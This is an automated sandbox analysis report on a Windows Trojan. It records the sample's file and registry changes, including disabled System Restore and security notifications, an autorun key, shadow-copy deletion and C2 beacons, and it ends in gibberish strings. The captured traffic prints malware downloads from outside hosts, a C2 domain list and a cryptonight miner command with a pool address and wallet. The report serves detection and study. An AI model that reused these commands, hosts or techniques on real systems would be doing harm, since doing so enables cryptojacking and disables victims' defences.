MD5: 6e5359014a84d865258128999b062fcc
SHA1: 730736de6069a0c5119ea4968193d143d92de8bb
SHA256: ec421548fd0189fd7d96c85a1438f0f79e3fd71227f77e1fd5c9b94ff8bf3302
SSDeep: 24576:IVaStYacySWjX/1uH4iYiGMwmnMJ9hJYCvvblFnCq:IVJ1c1wv1uH1GB9zYMvblFn
Size: 1153024 bytes
File type: EXE
Platform: WIN32
Entropy: Not Packed
PEID: UPolyXv05_v6
Company: no certificate found
Created at: 2015-04-15 05:04:41
Analyzed on: WindowsXP SP3 32-bit

Summary:

Trojan. A program that appears to do one thing but actually does another (a.k.a. Trojan Horse).

Payload

No specific payload has been found.

Process activity

The Trojan creates the following process(es):

flacprdqevctmx.exe:2164
%original file name%.exe:204
flacprdpn21tmx.exe:5928
flacprdr0wqtmx.exe:2020
vssadmin.exe:6092
vssadmin.exe:2700
unzip.exe:2144
crnrrtz.exe:3620
crnrrtz.exe:5956
flacprdpmwetmx.exe:2928
flacprdpmwetmx.exe:3480
mfsdqaofjpgd.exe:4048
mfsdqaofjpgd.exe:4780
flacprdpgtntmxowdxuwf.exe:2496
flacprdplqqtmx.exe:5852
flacprdq25vtmx.exe:4868

The Trojan injects its code into the following process(es):
No processes have been created.

Mutexes

The following mutexes were created/opened:
No objects were found.

File activity

The process %original file name%.exe:204 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\flacprdpgtntmxowdxuwf.exe (7386 bytes)
%System%\yfxgucyvda\tst (10 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\flacprdpgtntmxowdxuwf.exe (0 bytes)

The process unzip.exe:2144 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

%System%\binaries_burst5x\win64\win64plot2.exe (673 bytes)
%System%\binaries_burst5x\xmr\win32mrocli2.exe (7726 bytes)
%System%\binaries_burst5x\win64\win64burst2.exe (673 bytes)
%System%\binaries_burst5x\win32\win32plot2.exe (673 bytes)
%System%\binaries_burst5x\win32\win32burst2.exe (673 bytes)
%System%\binaries_burst5x\xmr\win64mroaes4.exe (21387 bytes)
%System%\binaries_burst5x\xmr\win64mrocli3.exe (22430 bytes)

The process crnrrtz.exe:3620 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

%System%\yfxgucyvda\tst (10 bytes)

The process crnrrtz.exe:5956 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

%System%\yfxgucyvda\tst (10 bytes)

The process mfsdqaofjpgd.exe:4048 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

%System%\unzip.exe (7100 bytes)
%System%\yfxgucyvda\run (10 bytes)
%WinDir%\Temp\flacprdpmwetmx.exe (35 bytes)
%WinDir%\Temp\flacprdpn21tmx.exe (1940 bytes)
%System%\yfxgucyvda\tst (10 bytes)
%System%\binaries_burst5x.zip (81986 bytes)
%System%\yfxgucyvda\cfg (1010 bytes)
%System%\yfxgucyvda\por (1 bytes)
%WinDir%\Temp\flacprdqevctmx.exe (35 bytes)
%WinDir%\Temp\flacprdq25vtmx.exe (7547 bytes)
%WinDir%\Temp\flacprdr0wqtmx.exe (2820 bytes)
%System%\yfxgucyvda\rng (140 bytes)
%System%\crnrrtz.exe (7547 bytes)
%WinDir%\Temp\flacprdplqqtmx.exe (35 bytes)

The Trojan deletes the following file(s):

%WinDir%\Temp\flacprdpn21tmx.exe (0 bytes)
%WinDir%\Temp\flacprdplqqtmx.exe (0 bytes)
%WinDir%\Temp\flacprdqevctmx.exe (0 bytes)
%WinDir%\Temp\flacprdpmwetmx.exe (0 bytes)
%WinDir%\Temp\flacprdq25vtmx.exe (0 bytes)

The process mfsdqaofjpgd.exe:4780 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

%System%\yfxgucyvda\tst (10 bytes)

The process flacprdpgtntmxowdxuwf.exe:2496 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

%System%\mfsdqaofjpgd.exe (7547 bytes)
%System%\yfxgucyvda\etc (10 bytes)
%System%\yfxgucyvda\tst (10 bytes)
%System%\drivers\etc\hosts (22 bytes)

The Trojan deletes the following file(s):

%System%\drivers\etc\hosts (0 bytes)

The process flacprdq25vtmx.exe:4868 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

%System%\yfxgucyvda\tst (10 bytes)

Registry activity

The process flacprdqevctmx.exe:2164 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "E0 AB 7C 26 5F A4 04 F2 81 72 EA 2F 57 33 43 C5"

The process flacprdpn21tmx.exe:5928 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "79 27 FA 01 08 1A B5 7A 3F EE 61 43 E8 B1 81 14"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore]
"RPGlobalInterval" = "0"
"TimerInterval" = "0"
"RPSessionInterval" = "0"
"DisableSR" = "1"
"DisableConfig" = "1"
"RPLifeInterval" = "0"

The process flacprdr0wqtmx.exe:2020 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKU\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]
"NoLowDiscSpaceChecks" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]
"NoLowDiscSpaceChecks" = "1"

[HKU\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]
"NoLowDiscSpaceChecks" = "1"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]
"NoLowDiscSpaceChecks" = "1"

The process vssadmin.exe:6092 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "A1 74 63 C3 38 90 E6 8B 32 AC B0 8C AD 72 30 5C"

The process vssadmin.exe:2700 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "B7 46 38 8B AC 63 DE 04 7D 47 C9 75 73 DE 15 23"

The process unzip.exe:2144 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "8C 8F 9B 9F C2 51 B3 F3 ED 9E BC A0 17 47 D1 00"

The process flacprdpmwetmx.exe:2928 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "58 4B CD 3F 47 A9 A6 DB 89 0A AB 86 D6 90 9E 85"

The process flacprdpmwetmx.exe:3480 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "63 60 60 6C 26 D3 33 76 7F 0E F3 07 60 65 69 6D"

The process mfsdqaofjpgd.exe:4048 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "0C C1 C7 A4 8B 08 A3 3B 18 15 EF 8D 6F 46 A5 95"

[HKLM\SOFTWARE\Microsoft\Security Center]
"AntiVirusOverride" = "1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKLM\SOFTWARE\Microsoft\Security Center]
"FirewallOverride" = "1"
"FirewallDisableNotify" = "1"

Antivirus notifications are disabled:

[HKLM\SOFTWARE\Microsoft\Security Center]
"AntiVirusDisableNotify" = "1"

The process flacprdpgtntmxowdxuwf.exe:2496 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "E2 19 43 76 C2 13 D1 E4 4B 3B 0D 62 BA B2 F3 AB"

To automatically run itself each time Windows is booted, the Trojan adds the following link to its file to the system registry autorun key:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"Launcher Gateway Encrypting Helper" = "%System%\mfsdqaofjpgd.exe"

The process flacprdplqqtmx.exe:5852 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "75 16 9A 1E 60 3D 0A 33 37 4D 00 2C 6C 13 38 CB"

The process flacprdq25vtmx.exe:4868 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "CD 78 A3 B8 78 1A 03 A0 07 6E 8A 76 C0 E9 C5 FE"

Dropped PE files

HOSTS file anomalies

No changes have been detected.

Rootkit activity

No anomalies have been detected.

Propagation

VersionInfo

No information is available.

PE Sections

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

URLs

URL	IP
hxxp://ableread.net/index.php?method=validate&mode=sox&v=048&sox=4ea5b402&lenhdr	98.139.135.198
hxxp://ableread.net/index.php?method=all&flag&mode=sox&v=048&sox=4ea5b402&lport=1&rsid=NOSOXYID123&slots=0&spm=0&adm=1&x64=0&mr=0&lenhdr	98.139.135.198
hxxp://ableread.net/index.php?method=setvar&key=cpuinfo&value=Intel(R) Xeon(R) CPU 3040 @ 1.86GHz (1862 MHz)&mode=sox&v=048&sox=4ea5b402&lport=1&rsid=NOSOXYID123&slots=0&spm=0&adm=1&x64=0&mr=0&lenhdr	98.139.135.198
hxxp://ableread.net/index.php?method=setvar&key=connected&value=8083&mode=sox&v=048&sox=4ea5b402&lport=1&rsid=8083&slots=0&spm=0&adm=1&x64=0&mr=0&lenhdr	98.139.135.198
hxxp://ableread.net/index.php?method=post&type=sysrestore&mode=sox&v=048&sox=4ea5b402&lport=1&rsid=8083&slots=0&spm=0&adm=1&x64=0&mr=0&lenhdr	98.139.135.198
hxxp://ableread.net/index.php?method=checkport&port=39836&mode=sox&v=048&sox=4ea5b402&lport=1&rsid=8083&slots=0&spm=0&adm=1&x64=0&mr=0&lenhdr	98.139.135.198
hxxp://ableread.net/index.php?method=all&mode=sox&v=048&sox=4ea5b402&lport=1&rsid=8083&slots=0&spm=0&adm=1&x64=0&mr=0&lenhdr	98.139.135.198
hxxp://ableread.net/dep/unzip.exe	98.139.135.198
hxxp://ableread.net/index.php?method=setvar&key=stopped&value=8083&mode=sox&v=048&sox=4ea5b402&lport=1&rsid=8083&slots=0&spm=0&adm=1&x64=0&mr=0&lenhdr	98.139.135.198
hxxp://ableread.net/dep/binaries_burst5x.zip	98.139.135.198
hxxp://picturebecome.net/dep/binaries_burst5x.zip	98.139.135.198
hxxp://picturebecome.net/dep/unzip.exe	98.139.135.198

IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

ET SHELLCODE Possible TCP x86 JMP to CALL Shellcode Detected

Traffic

GET /index.php?method=setvar&key=connected&value=8083&mode=sox&v=048&sox=4ea5b402&lport=1&rsid=8083&slots=0&spm=0&adm=1&x64=0&mr=0&lenhdr HTTP/1.0

Accept: */*

Connection: close

Host: ableread.net

HTTP/1.0 200 OK

Date: Sat, 25 Apr 2015 21:42:12 GMT

P3P: policyref="hXXp://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV"

Content-Type: text/html

Age: 0

Server: ATS/5.0.1
11..............

relayrqst



ID..



4ea5b402..



BEGINBEGIN

GET /index.php?method=validate&mode=sox&v=048&sox=4ea5b402&lenhdr HTTP/1.0

Accept: */*

Connection: close

Host: ableread.net

HTTP/1.0 200 OK

Date: Sat, 25 Apr 2015 21:42:09 GMT

P3P: policyref="hXXp://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV"

Content-Type: text/html

Age: 0

Server: ATS/5.0.1
1185.305.Va<U......0.ableread.net.........m..JW'...^V....;C`..]:.j~
0.RG.d.x5.|..t..9.......Xj:..].pN........q.,"7p6#..cX....i.=..R^G.AzQ.
.9....L..W.]2...".Y?...fdp9.?....{..'.l...0.......Y...-'o....3..AR.Q.E
[email protected]~.=.C....k/....&..F .!..!..........?..R...u9.
)%4.......tg.o.....|*.....:$Soql..lZgT...$.....V.g..y....,.E....^T....
.dn....P..'T....=t...6....d6HN,%NRk.K..R.[..X..K9..QY,d...4...y....EM`
..Y.....E.x.e..*....LRG......@...|cNl.e..R..fA..E.g%....v.$...SM/U...E
..l.....d.=..w...5..&....^ ..u_.....^1r........p..)X7\g;s[...>..L.L
}........ ...R..2....$?..!KORu....<..E..!.o..7.'Sg}..}..OD>.l...
........3..j.?..*...0..2....q.6X:.mSm.H.qk..~f..ju.."............C....
..kbA.^b.O....Y..{.}.....=.j..m^CR..H.../....y2Z.W.......t.i.].U......
....%)-]...HB....N.p.C([email protected].'.Bu....x; ..-._Y.....
...__.~R....{.....E M:1......0. ..o.2.\....X.[.....o^..... .K...c..g..
.u.V..P0.p*.e...DR.....\EAal...R......zd.....wr...&<..J.P...|....9.
.Q....K...>. d.?Hv(*..5V4.....t.i.X......$;....(...k...8&EFe.:.3...
.@@...%Z.LD.oX..v....5.5F1xx...%.....W.z........g.t.......h.'.sN....!G
j.s.<......#.....AAk.B....2.]...Yl........*.P...o,.2q..{.V...i.n..q
:w).]o....h'...}.Wo#...

POST /index.php?method=post&type=sysrestore&mode=sox&v=048&sox=4ea5b402&lport=1&rsid=8083&slots=0&spm=0&adm=1&x64=0&mr=0&lenhdr HTTP/1.0

Accept: */*

Connection: close

Host: ableread.net

Content-Type: application/x-www-form-urlencoded

Content-Length: 2599

data=dnNzYWRtaW4gMS4wIC0gVm9sdW1lIFNoYWRvdyBDb3B5IFNlcnZpY2UgYWRtaW5pc3RyYXRpdmUgY29tbWFuZC1saW5lIHRvb2wNCihDKSBDb3B5cmlnaHQgMjAwMSBNaWNyb3NvZnQgQ29ycC4NCg0KVXNhZ2U6DQoNCnZzc2FkbWluIGxpc3Qgc2hhZG93cyBbL3NldD17c2hhZG93IGNvcHkgc2V0IGd1aWR9XQ0KCUxpc3RzIGFsbCBzaGFkb3cgY29waWVzIGluIHRoZSBzeXN0ZW0sIGdyb3VwZWQgYnkgc2hhZG93IGNvcHkgc2V0IElkLg0KDQp2c3NhZG1pbiBsaXN0IHdyaXRlcnMNCglMaXN0cyBhbGwgd3JpdGVycyBpbiB0aGUgc3lzdGVtDQoNCnZzc2FkbWluIGxpc3QgcHJvdmlkZXJzDQoJTGlzdHMgYWxsIGN1cnJlbnRseSBpbnN0YWxsZWQgc2hhZG93IGNvcHkgcHJvdmlkZXJzDQoNCk5UOiA1LjEgDQpleGVjdXRlZDogJ0M6XFdJTkRPV1Ncc3lzdGVtMzJcdnNzYWRtaW4uZXhlIERlbGV0ZSBTaGFkb3dzIC9BbGwgL1F1aWV0Jw0KZXhlY3V0ZWQ6ICd2c3NhZG1pbi5leGUgRGVsZXRlIFNoYWRvd3MgL0FsbCAvUXVpZXQnDQpbV3Njc3ZjXSBTdG9wU2VydmljZSBmYWlsZWQ6IFRoZSBzZXJ2aWNlIGhhcyBub3QgYmVlbiBzdGFydGVkLg0NCigxMDYyKQ0KW1dzY3N2Y10gU2VydmljZSBkaXNhYmxlZCBzdWNjZXNzZnVsbHkuDQpbTXNNcFN2Y10gT3BlblNlcnZpY2UgZmFpbGVkOiBUaGUgc3BlY2lmaWVkIHNlcnZpY2UgZG9lcyBub3QgZXhpc3QgYXMgYW4gaW5zdGFsbGVkIHNlcnZpY2UuDQ0KKDEwNjApDQpbV2luRGVmZW5kXSBPcGVuU2VydmljZSBmYWlsZWQ6IFRoZSBzcGVjaWZpZWQgc2VydmljZSBkb2VzIG5vdCBleGlzdCBhcyBhbiBpbnN0YWxsZWQgc2VydmljZS4NDQooMTA2MCkNClt3dWF1c2Vydl0gU2VydmljZSBzdG9wcGVkIHN1Y2Nlc3NmdWxseS4NClt3dWF1c2Vydl0gU2VydmljZSBkaXNhYmxlZCBzdWNjZXNzZnVsbHkuDQpbQklUU10gU3RvcFNlcnZpY2Ug
HTTP/1.0 200 OK

Date: Sat, 25 Apr 2015 21:42:14 GMT

P3P: policyref="hXXp://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV"

Content-Type: text/html

Age: 0

Server: ATS/5.0.1
11..............

GET /index.php?method=setvar&key=connected&value=8083&mode=sox&v=048&sox=4ea5b402&lport=1&rsid=8083&slots=0&spm=0&adm=1&x64=0&mr=0&lenhdr HTTP/1.0

Accept: */*

Connection: close

Host: ableread.net

HTTP/1.0 200 OK

Date: Sat, 25 Apr 2015 21:43:01 GMT

P3P: policyref="hXXp://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV"

Content-Type: text/html

Age: 0

Server: ATS/5.0.1
11..............

GET /dep/unzip.exe HTTP/1.0

Accept: */*

Connection: close

Host: picturebecome.net

HTTP/1.0 200 OK

Date: Sat, 25 Apr 2015 21:43:01 GMT

P3P: policyref="hXXp://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV"

Last-Modified: Tue, 20 May 2014 22:57:37 GMT

Accept-Ranges: bytes

Content-Length: 164864

Content-Type: application/octet-stream

Age: 0

Server: ATS/5.0.1
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......PE..L......B
[email protected]...........
................ .....................................................
......................................................................
...........................text...$X.......Z..................`..`.dat
a........p.......^[email protected]..............................
.......idata...............`[email protected]..
............@.........................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U.......$........C..h.....
1.]...U.......$........C..H.....1.]...U......U...$..d.C...]..v...'....
U......U...$..H.C...]..v...'....U..S..$..$..@..}O.......C....$.pB.....
B..M..E......L$..T$..U..T$..D$..pB...K....qB...t^..qB...<.C...t..D$
..Z...$..K....<.C....t....qB..\$..J0..$..K....<.C....t....qB..\$
..JP..$.{K...fK.....qB.....C...4K.....pB......pB...$.\$..L$..........J
....$..N....&....U......]..M.1..u.1.....=..........=....sg=....t....u.
.]...]....D$.......$......J.....t"..t...$......&......'...........
<<< skipped >>>

GET /index.php?method=all&flag&mode=sox&v=048&sox=4ea5b402&lport=1&rsid=NOSOXYID123&slots=0&spm=0&adm=1&x64=0&mr=0&lenhdr HTTP/1.0

Accept: */*

Connection: close

Host: ableread.net

HTTP/1.0 200 OK

Date: Sat, 25 Apr 2015 21:42:10 GMT

P3P: policyref="hXXp://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV"

Content-Type: text/html

Age: 0

Server: ATS/5.0.1
52965.ping.5.FLAG cfg.383."electricseparate.net" "flieranother.net" "l
eadersoldier.net" "brooklynnharoldson.net" "thicklaughter.net" "nailth
ere.net" "alexandrinacalleigh.net" "doubtsafety.net" "recorddivide.net
" "recordtrust.net" "doubtpaint.net" "strangedistant.net" "maybellinec
herokee.net" "ableread.net" "flierdress.net" "oftenbranch.net" "rather
system.net" "eggbraker.com" "naildeep.com" "ithouneed.com" var_user_ip
.281.Þp_host% = "rosalynnehuddleson.net";.Þp_path% = "/dep/";.%no_
password% = "0";.%timer% = "180";.%ip% = "162.213.195.35";.%port% = "8
079";.%relay_soxid% = "8083";.%thread_timeout% = "300";.%newport% = "3
9836";.%cpuinfo% = " Intel(R) Xeon(R) CPU E5-2430 v2 @ 2.50GHz (2475 M
Hz)";.plugin.52241.sysrestore.0.MZ......................@.............
..................................!..L.!This program cannot be run in 
DOS mode....$........D.N.%...%...%...w"..%...w4..%.......%...%...%...w
3..%...w&..%..Rich.%..........................PE..L...a.:U............
.........P......E.............@.......................................
......................................<............................
[email protected]..........
..................text...d........................... ..`.rdata...#...
....$..................@[email protected]....*..........................@......
......................................................................
......................................................................
..................................................................
<<< skipped >>>

relayrqst



ID..



4ea5b402..



BEGINBEGIN

GET /index.php?method=setvar&key=stopped&value=8083&mode=sox&v=048&sox=4ea5b402&lport=1&rsid=8083&slots=0&spm=0&adm=1&x64=0&mr=0&lenhdr HTTP/1.0

Accept: */*

Connection: close

Host: ableread.net

HTTP/1.0 200 OK

Date: Sat, 25 Apr 2015 21:43:02 GMT

P3P: policyref="hXXp://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV"

Content-Type: text/html

Age: 0

Server: ATS/5.0.1
11..............

GET /index.php?method=setvar&key=cpuinfo&value=Intel(R) Xeon(R) CPU 3040 @ 1.86GHz (1862 MHz)&mode=sox&v=048&sox=4ea5b402&lport=1&rsid=NOSOXYID123&slots=0&spm=0&adm=1&x64=0&mr=0&lenhdr HTTP/1.0

Accept: */*

Connection: close

Host: ableread.net

HTTP/1.0 200 OK

Date: Sat, 25 Apr 2015 21:42:11 GMT

P3P: policyref="hXXp://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV"

Content-Type: text/html

Age: 0

Server: ATS/5.0.1
11..............

GET /index.php?method=checkport&port=39836&mode=sox&v=048&sox=4ea5b402&lport=1&rsid=8083&slots=0&spm=0&adm=1&x64=0&mr=0&lenhdr HTTP/1.0

Accept: */*

Connection: close

Host: ableread.net

HTTP/1.0 200 OK

Date: Sat, 25 Apr 2015 21:42:32 GMT

P3P: policyref="hXXp://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV"

Content-Type: text/html

Age: 30

Server: ATS/5.0.1
0...

GET /dep/binaries_burst5x.zip HTTP/1.0

Accept: */*

Connection: close

Host: picturebecome.net

HTTP/1.0 200 OK

Date: Sat, 25 Apr 2015 21:43:02 GMT

P3P: policyref="hXXp://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV"

Last-Modified: Fri, 10 Apr 2015 05:06:28 GMT

Accept-Ranges: bytes

Content-Length: 3368137

Content-Type: application/zip

Age: 2

Server: ATS/5.0.1
[email protected]_burst5x/k...r.}...P.PK.........
[email protected]_burst5x/win64/k...r.}...P.
PK..............PK........F..F.....@......&...binaries_burst5x/win64/w
in64burst2.exek...r.}...D...I.F.o.J?.d...Ia...4..Hwv....id`l.Z......b.
.h.W..>I..E...r]\...fd...PV.'.....p.....I.......c...e[.... 5.tKF..o
.&.b.....Gd.g......Y.....-.?.%..)......0H.....-.I.....T|..............
.....o8.T._3K..g..C........u*...........l....V..}.......<r8..C.`.rl
.&{..|f...,.....|[email protected]:$M..jH.7...P.=i....4...8.YC.....h.q ..
^...ue.V.hDve.D  .....ix.../...X............&...K.Z.0.zM.1"'qU...(."..
....D........a.....K`gx{.\.... ..6* ....o.HX].q.d.h.2....}.x5.. ./.>
;.,$aLm.....>{.:MM...c.V>cY..>....-.v....E>Z...E.g.H'.....
.....(..g...7Po..e.._.!...d...pW..5....y...?..#/m.mY.. [email protected]_..d
5.:d...h.....r%v. #.......%p......i.<.{.9.....q]#,V`s..J).%.5.H.#.1
.8V.....S.....^..._..E...CB.......\..^....4..J..^/.'....?..,[email protected]..
.......B._c..Yir_W..I..:.O.p..W.V.5.H.i?..A.#...YI.2..e.W.(....h.d...|
..R..J........^r..*..q..<..............1.i^k..?W.........9|.."h....
.5Q..O.a.......1.p!V.....^Q....d(_. t..=...f...B%.%.p...hp..\..7.....\
.A.v.. ....d./0oo.......m.?n....)@...].}.....t?4..!.S<|......X.8.6.
...a......9 .g......... .68....yUf\uh1........G.0.....>......q. .|.
......0....:.,..g.h.....p....&<.%.Ci.....X.&...G.^Ps.... .p.....61.
.X`...5.,5E"...9..k(...x.4.?`R.5.y-H.IP.6M.H.W..r......M.&.Id.......@t
.]..B..G..x/.5..o......v.pR.....Bh.:....U....z(..F.).f.....;......
<<< skipped >>>

GET /index.php?method=all&mode=sox&v=048&sox=4ea5b402&lport=1&rsid=8083&slots=0&spm=0&adm=1&x64=0&mr=0&lenhdr HTTP/1.0

Accept: */*

Connection: close

Host: ableread.net

HTTP/1.0 200 OK

Date: Sat, 25 Apr 2015 21:43:00 GMT

P3P: policyref="hXXp://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV"

Content-Type: text/html

Age: 0

Server: ATS/5.0.1
82554.ping.5.FLAG cfg.383."brooklynnharoldson.net" "strangedistant.net
" "alexandrinacalleigh.net" "nailthere.net" "flieranother.net" "electr
icseparate.net" "oftenbranch.net" "recorddivide.net" "maybellinecherok
ee.net" "doubtsafety.net" "recordtrust.net" "thicklaughter.net" "leade
rsoldier.net" "ableread.net" "flierdress.net" "doubtpaint.net" "rather
system.net" "naildeep.com" "eggbraker.com" "ithouneed.com" var_user_ip
.248.Þp_host% = "picturebecome.net";.Þp_path% = "/dep/";.%no_passw
ord% = "0";.%timer% = "180";.%ip% = "162.213.195.35";.%port% = "8079";
.%relay_soxid% = "8083";.%thread_timeout% = "300";.%cpuinfo% = "Intel(
R) Xeon(R) CPU 3040 @ 1.86GHz (1862 MHz)";.plugin.81863.miner_forced.3
06. -a cryptonight -o stratum tcp://162.213.195.35:7126 -u 43uavtvAW45
fgyKgv4y7qT7Ad2Agfpzoc2SmWAm9S6Da4ME95bNRtTiMhJrYBH32HnEAmG8QoBn2PUCBA
QK7FHvrM5RJQ5z -p x.8hGghbvdsfSHvxnjjkJFHDGsf4.win32plot2.exe 12754694
899610736661 4ea5b402 23.92.65.20:9446,107.155.116.121:1669,23.92.65.2
0:80,107.155.116.121:80 0 62.MZ......................@................
...............................!..L.!This program cannot be run in DOS
 mode....$..........5S..fS..fS..f...fR..f<[email protected]<.-f...fZ..fV..
fS..f...f<.,ft..f<..fR..fRichS..f................PE..L....i'U...
..................~......V?............@..............................
.........@.....................................<...................
.........`...................................... [email protected].
...........................text............................... ..`
<<< skipped >>>

The Trojan connects to the servers at the folowing location(s):

.text

`.rdata

@.data

xSSSh

FTPjKS

FtPj;S

C.PjRV

M%cM\

_fgpajouz lxmo bpfujjna wvadieunty fbli esd egi dubhuwveju yfdu vmb pkj mzgudffelo ampi idmsaiimxr cbgiex anlsurlli mkatanje ofnbovcg fubuumeg sgaav xcmodjpooh oxljujv hagtex jxgozt pmyetl bpsazf iiispp fnoumuojs tlxislof xpmubvjes dpmo igrja klmu lmp fptettfi rkficliqi ljfip srgajgsipd efositiecn jjqub lmurowax phsugcj fgp adtoene jgucisblam oufjhisdxi dogm mpjoewnv tncuarkij gklezzc upmpeil djqenfcu mbgadpcu milohuum gbp bfa vbf tpijop gjfof mypeumn wsde keagfi bsaemumzd ljcuj zauiby lramic ljye mml jlsilcbi moviticbye kizlac gcgatgbuua ajsjepjci ajfnuaeeg lubnolc mzcame llgicmpeb pbbejvnob fxdikte bzmianzgam ujltesbken flbeqoocd fmd

1jfzojftuw cifd cdj dzoquffpil led ejm mtfo ufm tcdotf lidsacp pleb trdadrc uzfxibdpu mtyo lvcofj lrdefg plto bycoccdi plsigjm dllelspu ubhcue oidmjekm itzpog wur emtgoua dhdoqdaye qcuveuu dzjoob limxogfif bmp mrzooflji txeucepd ndujitgbeb cra gsd lslieilyom ooujrk yduavump bbn aegvmebobf efsbubjno dbyefbju pspasuvm ccjakmdepg fpf fddu bgzib zgfi gmzan twnulo eedefdetrc omxl hkmo asro aflnovpj mfes ucqjiap yzali tuqret pfkoagfja cdleb dcco falye asutt evbleejw ogonje lfo frcawo uuppmofl edomrid alw jgyirgjedc sff ntgiij asgti texipo svcuj goj urlji nujxocf mwrafm jnvoilpsa naung opsico xnbueinc izvna nvhayujl kvvudsl afpyuoetee ryfuegrfud tmsoi

